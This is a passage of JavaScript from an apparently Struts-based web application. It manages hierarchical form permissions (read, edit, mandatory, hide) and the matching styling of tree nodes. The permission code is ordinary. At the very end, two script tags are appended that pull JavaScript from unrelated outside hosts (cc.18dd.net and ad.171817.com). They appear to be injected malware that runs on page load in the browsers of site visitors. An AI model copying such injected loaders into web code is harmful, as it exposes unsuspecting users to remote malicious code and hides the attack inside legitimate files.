                togglePermissionRadioBox(permissionItem);
                pageArr[j]=str+"_"+pid+"_N";
            }
          }
        }
      }

       for(var k=0;k < secArr.length;k++){
        var secStr=secArr[k];
        var strArr=secStr.split("_");
        var strF=strArr[0];
        var secfid= strF.substring(1,strF.length);
        var secPid=strArr[1];
        var secid=strArr[2];
        var issecchange=strArr[3];
        if(secPid==currentpid){
          this.elementName=strF+"_"+secPid+"_"+secid;
          if(frm.elements[this.elementName].value=="H" || issecchange=="Y"){
            togglePermissionRadioBox(permissionItem);
            secArr[k]=strF+"_"+secPid+"_"+secid+"_N";
          }
        }
        for(var t=0;t < elementArr.length;t++){
          var eleStr=elementArr[t];
          var eleArr=eleStr.split("_");
          var eleF=eleArr[0];
          var elefid= eleF.substring(1,eleF.length);
          var elePid=eleArr[1];
          var elesid=eleArr[2];
          var eleid=eleArr[3];
          var iselechange=eleArr[4];
          if(elePid==currentpid && elesid==secid){
            this.elementName=eleF+"_"+elePid+"_"+elesid+"_"+eleid;
            if(frm.elements[this.elementName].value=="H" || iselechange=="Y"){
              togglePermissionRadioBox(permissionItem);
              elementArr[t]=eleF+"_"+elePid+"_"+elesid+"_"+eleid+"_N";
            }
          }
        }
      }
      if(5 != permissionItem && 4 != permissionItem){
        for(var cc=0 ;cc < formArr.length;cc++){
          var formStrArr=formArr[cc].split("_");
          var formChange=formStrArr[1];
          this.elementName="F"+fid;
          if(frm.elements[this.elementName].value=="H" || formChange=="Y"){
            togglePermissionRadioBox(permissionItem);
            formArr[cc]="F"+fid+"_N";
        }
      }
     }
    }
    else if("S" == this.elementName.substring(0,1)){
      var sStr= this.elementName.substring(1,this.elementName.length);
      var sidStr= sStr.split("_");
      var fid=sidStr[0];
      var pid=sidStr[1];
      var currentsecid=sidStr[2];
      for(var k1=0;k1 < secArr.length;k1++){
        var secStr=secArr[k1];
        var strArr=secStr.split("_");
        var strF=strArr[0];
        var secfid= strF.substring(1,strF.length);
        var secPid=strArr[1];
        var secid=strArr[2];
        var issecchange=strArr[3];
        if(secfid==fid && secPid==pid && secid==currentsecid){
          this.elementName=strF+"_"+secPid+"_"+secid;
          if(frm.elements[this.elementName].value=="H" || issecchange=="Y" || (this.elementName.substring(0,1)=="S" && issecchange=="N")){
            if(this.elementName.substring(0,1)=="S" && issecchange=="N" && 4 == permissionItem){
               alert("<bean:message key='form.message.parent_node_can_not_hide'/>");
               return false;
            }else{
               togglePermissionRadioBox(permissionItem);
               secArr[k1]=strF+"_"+secPid+"_"+secid+"_N";
            }
          }
        }
      }

       for(var t1=0;t1 < elementArr.length;t1++){
          var eleStr=elementArr[t1];
          var eleArr=eleStr.split("_");
          var eleF=eleArr[0];
          var elefid= eleF.substring(1,eleF.length);
          var elePid=eleArr[1];
          var elesid=eleArr[2];
          var eleid=eleArr[3];
          var iselechange=eleArr[4];
          if(elePid==pid && elesid==currentsecid){
            this.elementName=eleF+"_"+elePid+"_"+elesid+"_"+eleid;
            if(frm.elements[this.elementName].value=="H" || iselechange=="Y"){
              togglePermissionRadioBox(permissionItem);
              elementArr[t1]=eleF+"_"+elePid+"_"+elesid+"_"+eleid+"_N";
            }
          }
        }
    if(5 != permissionItem && 4 != permissionItem){
         for(var ff=0 ;ff < formArr.length;ff++){
           var formStrArr=formArr[ff].split("_");
           var formChange=formStrArr[1];
           this.elementName="F"+fid;
           if(frm.elements[this.elementName].value=="H" || formChange=="Y"){
             togglePermissionRadioBox(permissionItem);
             formArr[ff]="F"+fid+"_N";
          }
        }
         for(var jj=0 ;jj < pageArr.length;jj++){
            var pageStr=pageArr[jj];
            var strArr=pageStr.split("_");
            var str=strArr[0];
            var currentpid=strArr[1];
            var isChange=strArr[2];
            var pagefid= str.substring(1,str.length);
           if(pagefid==fid && currentpid==pid){
             this.elementName="P"+fid+"_"+pid;
             if(frm.elements[this.elementName].value=="H" || isChange=="Y"){
               togglePermissionRadioBox(permissionItem);
               pageArr[jj]="P"+fid+"_"+pid+"_N";
          }
        }
      }
     }
    }
    else if("E" == this.elementName.substring(0,1)){
      var eStr= this.elementName.substring(1,this.elementName.length);
      var eidStr= eStr.split("_");
      var fid=eidStr[0];
      var pid=eidStr[1];
      var secid=eidStr[2];
      var currenteleid=eidStr[3];
      for(var tt=0;tt < elementArr.length;tt++){
        var eleStr=elementArr[tt];
        var eleArr=eleStr.split("_");
        var eleF=eleArr[0];
        var elefid= eleF.substring(1,eleF.length);
        var elePid=eleArr[1];
        var elesid=eleArr[2];
        var eleid=eleArr[3];
        var iselechange=eleArr[4];
       if(elefid==fid && elePid==pid && elesid==secid && eleid==currenteleid){
         this.elementName=eleF+"_"+elePid+"_"+elesid+"_"+eleid;
         if(frm.elements[this.elementName].value=="H" || iselechange=="Y" || (this.elementName.substring(0,1)=="E" && iselechange=="N")){
           togglePermissionRadioBox(permissionItem);
           elementArr[tt]=eleF+"_"+elePid+"_"+elesid+"_"+eleid+"_N";
         }
      }
    }
     // mod by  greatwall 2006-10-10 for can't change parentNode Permission when  childNode PermissionItem=4(hide)
     if(4 != permissionItem&&5 != permissionItem ){
        for(var gg=0 ;gg < formArr.length;gg++){
          var formStrArr=formArr[gg].split("_");
          var formChange=formStrArr[1];
          this.elementName="F"+fid;
          if(frm.elements[this.elementName].value=="H" || formChange=="Y"){
            togglePermissionRadioBox('1');//change it to read
            formArr[gg]="F"+fid+"_N";
        }
      }

      for(var jjj=0 ;jjj < pageArr.length;jjj++){
            var pageStr=pageArr[jjj];
            var strArr=pageStr.split("_");
            var str=strArr[0];
            var currentpid=strArr[1];
            var isChange=strArr[2];
            var pagefid= str.substring(1,str.length);
        if(pagefid==fid && currentpid==pid){
          this.elementName="P"+fid+"_"+pid;
          if(frm.elements[this.elementName].value=="H" || isChange=="Y"){
            togglePermissionRadioBox('1');
            pageArr[jjj]="P"+fid+"_"+pid+"_N";
          }
        }
      }

      for(var kk=0;kk < secArr.length;kk++){
        var secStr=secArr[kk];
        var strArr=secStr.split("_");
        var strF=strArr[0];
        var secfid= strF.substring(1,strF.length);
        var secPid=strArr[1];
        var currentsecid=strArr[2];
        var issecchange=strArr[3];
        if(secfid==fid && secPid==pid && currentsecid==secid){
          this.elementName="S"+fid+"_"+pid+"_"+secid;
          if(frm.elements[this.elementName].value=="H" || issecchange=="Y"){
            togglePermissionRadioBox('1');
            secArr[kk]="S"+fid+"_"+pid+"_"+secid+"_N";
          }
        }
      }
     }
    }

}


 function togglePermissionAll(elementName, permissionItem){
   this.elementName = elementName;
   togglePermissionRadioBox(permissionItem);
 }
 
 function toggleAllChildPermission(permissionItem){
    //set all chile to permissio
  toggleAllChildPermissionWithNode(permissionItem,null,false);
  closePermissionMenu();
 }
 
 
function toggleAllChildPermissionWithNode(permissionItem,node,directChildren){
  var isParent = false;
  
  if(node==null){
    var curoObjectID = document.getElementById(this.elementName + '-aft');
    var curObjectKey = curoObjectID.value;
    node = formRecordRoot.findNodeWithId(curObjectKey);
    isParent = true;
  }else{
    this.elementName = document.getElementById(node.id+"-realID").value;
  }
  if(!isParent){
    var tempPermission=1;
    if("E"!=this.elementName.substring(0,1)){
      if(permissionItem=="4"){
        tempPermission=4;
      }
    }else{
      tempPermission=permissionItem;
    }
    togglePermissionRadioBox(tempPermission);
    toggleNodeStyle(node,tempPermission);
    if(directChildren){
      var selectBox = document.getElementById(node.id+"PermissionSelectBox");
      if(selectBox){
        selectBox.disabled=false;
      }
    }
  }
  toggleChildPermissionWithNode(permissionItem,node,isParent);
} 

function toggleChildPermissionWithNode(permissionItem,node,isParent){
  for(var i=0;i < node.childNodes.length;i++){
    var child = node.childNodes[i];
    var directChildren = isParent?true:false;
    toggleAllChildPermissionWithNode(permissionItem,child,directChildren);
  }
}

function toggleNodeStyle(node,permissionItem){
  var buttonClass="";
  var clickLink=function click(event){return(false);};
  var nodeClass="";
  var selectBoxStatus=true;
  
  if(permissionItem=="1"){//read
   buttonClass="but-colheader";
   nodeClass="read";
   selectBoxStatus=false;
  }else if(permissionItem=="2"){
   buttonClass="but-colheader";
   nodeClass="edit";
   selectBoxStatus=false;
  }else if(permissionItem=="3"){
   buttonClass="but-colheader";
   nodeClass="mandatory";
   selectBoxStatus=false;
  }else if(permissionItem=="4"){
   buttonClass="but-colheader-disabled";
   nodeClass="hide";
   selectBoxStatus=true;
  }
  var mainPannel = document.getElementById(node.id+"SetChildButton");
  if(mainPannel){
    mainPannel.className=buttonClass;
    var childLink= mainPannel.getElementsByTagName("A")[0];  
  }
  var selectBox = document.getElementById(node.id+"PermissionSelectBox");
  if(selectBox){
    selectBox.disabled=selectBoxStatus;
  }
  
  var titlePannel = document.getElementById(node.id+"-anchor");
  
  if(titlePannel){
    titlePannel.className=nodeClass;
  }
}

function dimmedAllChildWithNode(permissionItem,node){
   isParent = false;
   if(node==null){
    var curoObjectID = document.getElementById(this.elementName + '-aft');
    var curObjectKey = curoObjectID.value;
    node = formRecordRoot.findNodeWithId(curObjectKey);
    isParent = true;
  }else{
    this.elementName = document.getElementById(node.id+"-realID").value;
  }
  toggleNodeStyle(node,permissionItem);
  if(isParent){
  var selectBox=document.getElementById(node.id+"PermissionSelectBox");
  if(selectBox){
    selectBox.disabled=false;
  }
  }
  dimmedChildWithNode(permissionItem,node);
}

function dimmedChildWithNode(permissionItem,node){
  for(var i=0;i < node.childNodes.length;i++){
    var child = node.childNodes[i];
    var tempPermissionItem = permissionItem;
    if(permissionItem!="4"){
    var selectBox = document.getElementById(child.id+"PermissionSelectBox");
    if(selectBox){
      tempPermissionItem = selectBox.options[selectBox.selectedIndex].value;
      this.elementName = document.getElementById(child.id+"-realID").value;
      child = null;
    }
    }
    dimmedAllChildWithNode(tempPermissionItem,child);
  }
}


 
 
 

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>